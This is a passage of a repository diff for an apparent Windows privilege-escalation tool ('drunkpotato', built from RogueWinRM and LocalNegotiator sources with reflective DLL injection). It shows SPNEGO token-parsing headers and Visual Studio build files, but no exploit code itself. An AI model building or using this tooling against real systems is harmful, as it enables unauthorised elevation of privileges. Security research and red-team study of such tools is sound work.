pSpnegoElement = &pSpnegoToken->aElementArray[SPNEGO_TARG_MECHLISTMIC_ELEMENT];
}
// Check if MechType is available
if (SPNEGO_TOKEN_ELEMENT_AVAILABLE == pSpnegoElement->iElementPresent)
{
// Check for Buffer too small conditions
if (NULL == pbMICData ||
pSpnegoElement->nDatalength > * pulDataLen)
{
*pulDataLen = pSpnegoElement->nDatalength;
nReturn = SPNEGO_E_BUFFER_TOO_SMALL;
}
else
{
// Copy Memory
memcpy(pbMICData, pSpnegoElement->pbData, pSpnegoElement->nDatalength);
*pulDataLen = pSpnegoElement->nDatalength;
nReturn = SPNEGO_E_SUCCESS;
}
}
else
{
nReturn = SPNEGO_E_ELEMENT_UNAVAILABLE;
}
} // IF parameters OK
return nReturn;
}*/

View File

@ -0,0 +1,242 @@
// Copyright (C) 2002 Microsoft Corporation
// All rights reserved.
//
// THIS CODE AND INFORMATION IS PROVIDED "AS IS"
// WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
// OR IMPLIED, INCLUDING BUT NOT LIMITED
// TO THE IMPLIED WARRANTIES OF MERCHANTIBILITY
// AND/OR FITNESS FOR A PARTICULAR PURPOSE.
//
// Date - 10/08/2002
// Author - Sanj Surati
/////////////////////////////////////////////////////////////
//
// SPNEGO.H
//
// SPNEGO Token Handler Header File
//
// Contains the definitions required to interpret and create
// SPNEGO tokens so that Kerberos GSS tokens can be
// Unpackaged/packaged.
//
/////////////////////////////////////////////////////////////
#ifndef __SPNEGO_H__
#define __SPNEGO_H__
// C++ Specific
#if defined(__cplusplus)
extern "C"
{
#endif
// Type Definitions
//
// Users of SPNEGO Token Handler API will request
// these as well as free them,
//
typedef void* SPNEGO_TOKEN_HANDLE;
//
// Defines the element types that are found
// in each of the tokens.
//
typedef enum spnego_element_type
{
spnego_element_min, // Lower bound
// Init token elements
spnego_init_mechtypes,
spnego_init_reqFlags,
spnego_init_mechToken,
spnego_init_mechListMIC,
// Targ token elements
spnego_targ_negResult,
spnego_targ_supportedMech,
spnego_targ_responseToken,
spnego_targ_mechListMIC,
spnego_element_max // Upper bound
} SPNEGO_ELEMENT_TYPE;
//
// Token Element Availability. Elements in both
// token types are optional. Since there are only
// 4 elements in each Token, we will allocate space
// to hold the information, but we need a way to
// indicate whether or not an element is available
//
#define SPNEGO_TOKEN_ELEMENT_UNAVAILABLE 0
#define SPNEGO_TOKEN_ELEMENT_AVAILABLE 1
//
// Token type values. SPNEGO has 2 token types:
// NegTokenInit and NegTokenTarg
//
#define SPNEGO_TOKEN_INIT 0
#define SPNEGO_TOKEN_TARG 1
//
// GSS Mechanism OID enumeration. We only really handle
// 3 different OIDs. These are stored in an array structure
// defined in the parsing code.
//
typedef enum spnego_mech_oid
{
// Init token elements
spnego_mech_oid_Kerberos_V5_Legacy, // Really V5, but OID off by 1 bit
spnego_mech_oid_Kerberos_V5,
spnego_mech_oid_Spnego,
spnego_mech_oid_NTLMSSP,
spnego_mech_oid_NotUsed = -1
} SPNEGO_MECH_OID;
//
// Defines the negResult values.
//
typedef enum spnego_negResult
{
spnego_negresult_success,
spnego_negresult_incomplete,
spnego_negresult_rejected,
spnego_negresult_NotUsed = -1
} SPNEGO_NEGRESULT;
//
// Context Flags in NegTokenInit
//
//
// ContextFlags values MUST be zero or a combination
// of the below
//
#define SPNEGO_NEGINIT_CONTEXT_DELEG_FLAG 0x80
#define SPNEGO_NEGINIT_CONTEXT_MUTUAL_FLAG 0x40
#define SPNEGO_NEGINIT_CONTEXT_REPLAY_FLAG 0x20
#define SPNEGO_NEGINIT_CONTEXT_SEQUENCE_FLAG 0x10
#define SPNEGO_NEGINIT_CONTEXT_ANON_FLAG 0x8
#define SPNEGO_NEGINIT_CONTEXT_CONF_FLAG 0x4
#define SPNEGO_NEGINIT_CONTEXT_INTEG_FLAG 0x2
//
// Mask to retrieve valid values.
//
#define SPNEGO_NEGINIT_CONTEXT_MASK 0xFE // Logical combination of above flags
//
// SPNEGO API return codes.
//
// API function was successful
#define SPNEGO_E_SUCCESS 0
// The supplied Token was invalid
#define SPNEGO_E_INVALID_TOKEN -1
// An invalid length was encountered
#define SPNEGO_E_INVALID_LENGTH -2
// The Token Parse failed
#define SPNEGO_E_PARSE_FAILED -3
// The requested value was not found
#define SPNEGO_E_NOT_FOUND -4
// The requested element is not available
#define SPNEGO_E_ELEMENT_UNAVAILABLE -5
// Out of Memory
#define SPNEGO_E_OUT_OF_MEMORY -6
// Not Implemented
#define SPNEGO_E_NOT_IMPLEMENTED -7
// Invalid Parameter
#define SPNEGO_E_INVALID_PARAMETER -8
// Token Handler encountered an unexpected OID
#define SPNEGO_E_UNEXPECTED_OID -9
// The requested token was not found
#define SPNEGO_E_TOKEN_NOT_FOUND -10
// An unexpected type was encountered in the encoding
#define SPNEGO_E_UNEXPECTED_TYPE -11
// The buffer was too small
#define SPNEGO_E_BUFFER_TOO_SMALL -12
// A Token Element was invalid (e.g. improper length or value)
#define SPNEGO_E_INVALID_ELEMENT -13
/* Miscelaneous API Functions */
// Frees opaque data
void spnegoFreeData(SPNEGO_TOKEN_HANDLE hSpnegoToken);
// Initializes SPNEGO_TOKEN structure from DER encoded binary data
int spnegoInitFromBinary(unsigned char* pbTokenData, unsigned short ulLength, SPNEGO_TOKEN_HANDLE* phSpnegoToken);
// Initializes SPNEGO_TOKEN structure for a NegTokenInit type using the
// supplied parameters
/*static int spnegoCreateNegTokenInit(SPNEGO_MECH_OID MechType,
unsigned char ucContextFlags, unsigned char* pbMechToken,
unsigned short ulMechTokenLen, unsigned char* pbMechTokenMIC,
unsigned short ulMechTokenMIC, SPNEGO_TOKEN_HANDLE* phSpnegoToken);*/
// Initializes SPNEGO_TOKEN structure for a NegTokenTarg type using the
// supplied parameters
int spnegoCreateNegTokenTarg(SPNEGO_MECH_OID MechType,
SPNEGO_NEGRESULT spnegoNegResult, unsigned char* pbMechToken,
unsigned short ulMechTokenLen, unsigned char* pbMechListMIC,
unsigned short ulMechListMICLen, SPNEGO_TOKEN_HANDLE* phSpnegoToken);
// Copies binary representation of SPNEGO Data into user supplied buffer
int spnegoTokenGetBinary(SPNEGO_TOKEN_HANDLE hSpnegoToken, unsigned char* pbTokenData,
unsigned short* pulDataLen);
// Returns SPNEGO Token Type
//static int spnegoGetTokenType(SPNEGO_TOKEN_HANDLE hSpnegoToken, int* piTokenType);
/* Reading an Init Token */
// Returns the Initial Mech Type in the MechList element in the NegInitToken.
//static int spnegoIsMechTypeAvailable(SPNEGO_TOKEN_HANDLE hSpnegoToken, SPNEGO_MECH_OID MechOID, int* piMechTypeIndex);
// Returns the value from the context flags element in the NegInitToken as an unsigned long
//static int spnegoGetContextFlags(SPNEGO_TOKEN_HANDLE hSpnegoToken, unsigned char* pucContextFlags);
/* Reading a Response Token */
// Returns the value from the negResult element (Status code of GSS call - 0,1,2)
//static int spnegoGetNegotiationResult(SPNEGO_TOKEN_HANDLE hSpnegoToken, SPNEGO_NEGRESULT* pnegResult);
// Returns the Supported Mech Type from the NegTokenTarg.
//static int spnegoGetSupportedMechType(SPNEGO_TOKEN_HANDLE hSpnegoToken, SPNEGO_MECH_OID* pMechOID);
/* Reading either Token Type */
// Returns the actual Mechanism data from the token (this is what is passed into GSS-API functions
int spnegoGetMechToken(SPNEGO_TOKEN_HANDLE hSpnegoToken, unsigned char* pbTokenData, unsigned short* pulDataLen);
// Returns the Message Integrity BLOB in the token
//static int spnegoGetMechListMIC(SPNEGO_TOKEN_HANDLE hSpnegoToken, unsigned char* pbMICData, unsigned short* pulDataLen);
// C++ Specific
#if defined(__cplusplus)
}
#endif
#endif

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,165 @@
// Copyright (C) 2002 Microsoft Corporation
// All rights reserved.
//
// THIS CODE AND INFORMATION IS PROVIDED "AS IS"
// WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
// OR IMPLIED, INCLUDING BUT NOT LIMITED
// TO THE IMPLIED WARRANTIES OF MERCHANTIBILITY
// AND/OR FITNESS FOR A PARTICULAR PURPOSE.
//
// Date - 10/08/2002
// Author - Sanj Surati
/////////////////////////////////////////////////////////////
//
// SPNEGOPARSE.H
//
// SPNEGO Token Parser Header File
//
// Contains the definitions required to properly parse a
// SPNEGO token using ASN.1 DER helpers.
//
/////////////////////////////////////////////////////////////
#ifndef __SPNEGOPARSE_H__
#define __SPNEGOPARSE_H__
// C++ Specific
#if defined(__cplusplus)
extern "C"
{
#endif
// Indicates if we copy data when creating a SPNEGO_TOKEN structure or not
#define SPNEGO_TOKEN_INTERNAL_COPYPTR 0
#define SPNEGO_TOKEN_INTERNAL_COPYDATA 0x1
// Internal flag dictates whether or not we will free the binary data when
// the SPNEG_TOKEN structure is destroyed
#define SPNEGO_TOKEN_INTERNAL_FLAGS_FREEDATA 0x1
//
// Each SPNEGO Token Type can be broken down into a
// maximum of 4 separate elements.
//
#define MAX_NUM_TOKEN_ELEMENTS 4
//
// Element offsets in the array
//
// INIT elements
#define SPNEGO_INIT_MECHTYPES_ELEMENT 0
#define SPNEGO_INIT_REQFLAGS_ELEMENT 1
#define SPNEGO_INIT_MECHTOKEN_ELEMENT 2
#define SPNEGO_INIT_MECHLISTMIC_ELEMENT 3
// Response elements
#define SPNEGO_TARG_NEGRESULT_ELEMENT 0
#define SPNEGO_TARG_SUPPMECH_ELEMENT 1
#define SPNEGO_TARG_RESPTOKEN_ELEMENT 2
#define SPNEGO_TARG_MECHLISTMIC_ELEMENT 3
//
// Defines an individual SPNEGO Token Element.
//
typedef struct SpnegoElement
{
size_t nStructSize; // Size of the element structure
int iElementPresent; // Is the field present? Must be either
// SPNEGO_TOKEN_ELEMENT_UNAVAILABLE or
// SPNEGO_TOKEN_ELEMENT_AVAILABLE
SPNEGO_ELEMENT_TYPE eElementType; // The Element Type
unsigned char type; // Data Type
unsigned char* pbData; // Points to actual Data
unsigned short nDatalength; // Actual Data Length
} SPNEGO_ELEMENT;
// Structure size in case we later choose to extend the structure
#define SPNEGO_ELEMENT_SIZE sizeof(SPNEGO_ELEMENT)
//
// Packages a SPNEGO Token Encoding. There are two types of
// encodings: NegTokenInit and NegTokenTarg. Each encoding can
// contain up to four distinct, optional elements.
//
typedef struct SpnegoToken
{
size_t nStructSize; // Size of the Token structure
unsigned long ulFlags; // Internal Structure Flags - Reserved!
int ucTokenType; // Token Type - Must be
// SPNEGO_TOKEN_INIT or
// SPNEGO_TOKEN_TARG
unsigned char* pbBinaryData; // Points to binary token data
unsigned short ulBinaryDataLen; // Length of the actual binary data
int nNumElements; // Number of elements
SPNEGO_ELEMENT aElementArray[MAX_NUM_TOKEN_ELEMENTS]; // Holds the elements for the token
} SPNEGO_TOKEN;
// Structure size in case we later choose to extend the structure
#define SPNEGO_TOKEN_SIZE sizeof(SPNEGO_TOKEN)
//
// Function definitions
//
static SPNEGO_TOKEN* AllocEmptySpnegoToken(unsigned char ucCopyData, unsigned long ulFlags,
unsigned char* pbTokenData, unsigned short ulTokenSize);
void FreeSpnegoToken(SPNEGO_TOKEN* pSpnegoToken);
static void InitSpnegoTokenElementArray(SPNEGO_TOKEN* pSpnegoToken);
static int InitSpnegoTokenType(SPNEGO_TOKEN* pSpnegoToken, unsigned short* pnTokenLength,
unsigned short* pnRemainingTokenLength, unsigned char** ppbFirstElement);
static int InitSpnegoTokenElements(SPNEGO_TOKEN* pSpnegoToken, unsigned char* pbTokenData,
unsigned short nRemainingTokenLength);
static int GetSpnegoInitTokenMechList(unsigned char* pbTokenData, unsigned short nMechListLength,
SPNEGO_ELEMENT* pSpnegoElement);
static int InitSpnegoTokenElementFromBasicType(unsigned char* pbTokenData, unsigned short nElementLength,
unsigned char ucExpectedType,
SPNEGO_ELEMENT_TYPE spnegoElementType,
SPNEGO_ELEMENT* pSpnegoElement);
static int InitSpnegoTokenElementFromOID(unsigned char* pbTokenData, unsigned short nElementLength,
SPNEGO_ELEMENT_TYPE spnegoElementType,
SPNEGO_ELEMENT* pSpnegoElement);
int FindMechOIDInMechList(SPNEGO_ELEMENT* pSpnegoElement, SPNEGO_MECH_OID MechOID,
int* piMechTypeIndex);
static int ValidateMechList(unsigned char* pbMechListData, unsigned short nBoundaryLength);
int CalculateMinSpnegoInitTokenSize(unsigned short nMechTokenLength, unsigned short nMechListMICLength,
SPNEGO_MECH_OID mechOid, int nReqFlagsAvailable,
unsigned short* plTokenSize, unsigned short* plInternalLength);
int CalculateMinSpnegoTargTokenSize(SPNEGO_MECH_OID MechType, SPNEGO_NEGRESULT spnegoNegResult,
unsigned short nMechTokenLen,
unsigned short nMechTokenMIC, unsigned short* pnTokenSize,
unsigned short* pnInternalTokenLength);
int CreateSpnegoInitToken(SPNEGO_MECH_OID MechType,
unsigned char ucContextFlags, unsigned char* pbMechToken,
unsigned short ulMechTokenLen, unsigned char* pbMechListMIC,
unsigned short ulMechListMICLen, unsigned char* pbTokenData,
unsigned short nTokenLength, unsigned short nInternalTokenLength);
int CreateSpnegoTargToken(SPNEGO_MECH_OID MechType,
SPNEGO_NEGRESULT eNegResult, unsigned char* pbMechToken,
unsigned short ulMechTokenLen, unsigned char* pbMechListMIC,
unsigned short ulMechListMICLen, unsigned char* pbTokenData,
unsigned short nTokenLength, unsigned short nInternalTokenLength);
int IsValidMechOid(SPNEGO_MECH_OID mechOid);
int IsValidContextFlags(unsigned char ucContextFlags);
int IsValidNegResult(SPNEGO_NEGRESULT negResult);
int IsValidSpnegoToken(SPNEGO_TOKEN* pSpnegoToken);
//int IsValidSpnegoElement(SPNEGO_TOKEN* pSpnegoToken, SPNEGO_ELEMENT_TYPE spnegoElement);
//int CalculateElementArrayIndex(SPNEGO_TOKEN* pSpnegoToken, SPNEGO_ELEMENT_TYPE spnegoElement);
int InitTokenFromBinary(unsigned char ucCopyData, unsigned long ulFlags,
unsigned char* pbTokenData, unsigned short ulLength,
SPNEGO_TOKEN** ppSpnegoToken);
// C++ Specific
#if defined(__cplusplus)
}
#endif
#endif

View File

@ -0,0 +1,204 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<ItemGroup>
<ClCompile Include="..\Common_Src_Files\base64.c" />
<ClCompile Include="..\Common_Src_Files\LocalNegotiator.c" />
<ClCompile Include="..\Common_Src_Files\pch.c">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
</ClCompile>
<ClCompile Include="..\Common_Src_Files\RogueWinRM.c" />
<ClCompile Include="..\Common_Src_Files\Services\elevatorService.c">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">../pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="..\Common_Src_Files\Services\service.c">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">../pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="..\Common_Src_Files\spnegotokenhandler\derparse.c">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">../pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="..\Common_Src_Files\spnegotokenhandler\spnego.c">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">../pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="..\Common_Src_Files\spnegotokenhandler\spnegoparse.c">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">../pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="dllmain.c">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">../Common_Src_Files/pch.h</PrecompiledHeaderFile>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\Common_Src_Files\base64.h" />
<ClInclude Include="..\Common_Src_Files\LocalNegotiator.h" />
<ClInclude Include="..\Common_Src_Files\pch.h" />
<ClInclude Include="..\Common_Src_Files\RogueWinRM.h" />
<ClInclude Include="..\Common_Src_Files\Services\elevatorService.h" />
<ClInclude Include="..\Common_Src_Files\Services\service.h" />
<ClInclude Include="..\Common_Src_Files\spnegotokenhandler\derparse.h" />
<ClInclude Include="..\Common_Src_Files\spnegotokenhandler\spnego.h" />
<ClInclude Include="..\Common_Src_Files\spnegotokenhandler\spnegoparse.h" />
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{0de97039-6da0-4844-bd1f-15425d3c0330}</ProjectGuid>
<RootNamespace>RogueWinRMdll</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
<ProjectName>dll</ProjectName>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
<TargetName>drunkpotato.x86</TargetName>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<TargetName>drunkpotato.x86</TargetName>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
<TargetName>drunkpotato.x64</TargetName>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<TargetName>drunkpotato.x64</TargetName>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;DEBUGTRACE;ROGUEWINRMDLL_EXPORTS;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<SupportJustMyCode>false</SupportJustMyCode>
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src\</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;ROGUEWINRMDLL_EXPORTS;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src\</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;DEBUGTRACE;ROGUEWINRMDLL_EXPORTS;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<SupportJustMyCode>false</SupportJustMyCode>
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src\</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;ROGUEWINRMDLL_EXPORTS;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src\</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
</Link>
</ItemDefinitionGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,90 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Fichiers sources">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Fichiers d%27en-tête">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Fichiers de ressources">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
<Filter Include="Fichiers sources\spnegotokenhandler">
<UniqueIdentifier>{c5d2e207-ae2f-402e-aa44-dc133eebb278}</UniqueIdentifier>
</Filter>
<Filter Include="Fichiers d%27en-tête\spnegotokenhandler">
<UniqueIdentifier>{ab9b1d3c-9391-43e5-8646-070c45c8d50a}</UniqueIdentifier>
</Filter>
<Filter Include="Fichiers d%27en-tête\Services">
<UniqueIdentifier>{cabf9d1b-d1a4-44c9-ae2b-88276917c54d}</UniqueIdentifier>
</Filter>
<Filter Include="Fichiers sources\Services">
<UniqueIdentifier>{fae92570-6cdd-419e-8fdc-6f5e69039243}</UniqueIdentifier>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="dllmain.c">
<Filter>Fichiers sources</Filter>
</ClCompile>
<ClCompile Include="..\Common_Src_Files\spnegotokenhandler\derparse.c">
<Filter>Fichiers sources\spnegotokenhandler</Filter>
</ClCompile>
<ClCompile Include="..\Common_Src_Files\spnegotokenhandler\spnego.c">
<Filter>Fichiers sources\spnegotokenhandler</Filter>
</ClCompile>
<ClCompile Include="..\Common_Src_Files\spnegotokenhandler\spnegoparse.c">
<Filter>Fichiers sources\spnegotokenhandler</Filter>
</ClCompile>
<ClCompile Include="..\Common_Src_Files\Services\elevatorService.c">
<Filter>Fichiers sources\Services</Filter>
</ClCompile>
<ClCompile Include="..\Common_Src_Files\Services\service.c">
<Filter>Fichiers sources\Services</Filter>
</ClCompile>
<ClCompile Include="..\Common_Src_Files\base64.c">
<Filter>Fichiers sources</Filter>
</ClCompile>
<ClCompile Include="..\Common_Src_Files\LocalNegotiator.c">
<Filter>Fichiers sources</Filter>
</ClCompile>
<ClCompile Include="..\Common_Src_Files\pch.c">
<Filter>Fichiers sources</Filter>
</ClCompile>
<ClCompile Include="..\Common_Src_Files\RogueWinRM.c">
<Filter>Fichiers sources</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\Common_Src_Files\spnegotokenhandler\derparse.h">
<Filter>Fichiers d%27en-tête\spnegotokenhandler</Filter>
</ClInclude>
<ClInclude Include="..\Common_Src_Files\spnegotokenhandler\spnego.h">
<Filter>Fichiers d%27en-tête\spnegotokenhandler</Filter>
</ClInclude>
<ClInclude Include="..\Common_Src_Files\spnegotokenhandler\spnegoparse.h">
<Filter>Fichiers d%27en-tête\spnegotokenhandler</Filter>
</ClInclude>
<ClInclude Include="..\Common_Src_Files\Services\elevatorService.h">
<Filter>Fichiers d%27en-tête\Services</Filter>
</ClInclude>
<ClInclude Include="..\Common_Src_Files\Services\service.h">
<Filter>Fichiers d%27en-tête\Services</Filter>
</ClInclude>
<ClInclude Include="..\Common_Src_Files\base64.h">
<Filter>Fichiers d%27en-tête</Filter>
</ClInclude>
<ClInclude Include="..\Common_Src_Files\LocalNegotiator.h">
<Filter>Fichiers d%27en-tête</Filter>
</ClInclude>
<ClInclude Include="..\Common_Src_Files\pch.h">
<Filter>Fichiers d%27en-tête</Filter>
</ClInclude>
<ClInclude Include="..\Common_Src_Files\RogueWinRM.h">
<Filter>Fichiers d%27en-tête</Filter>
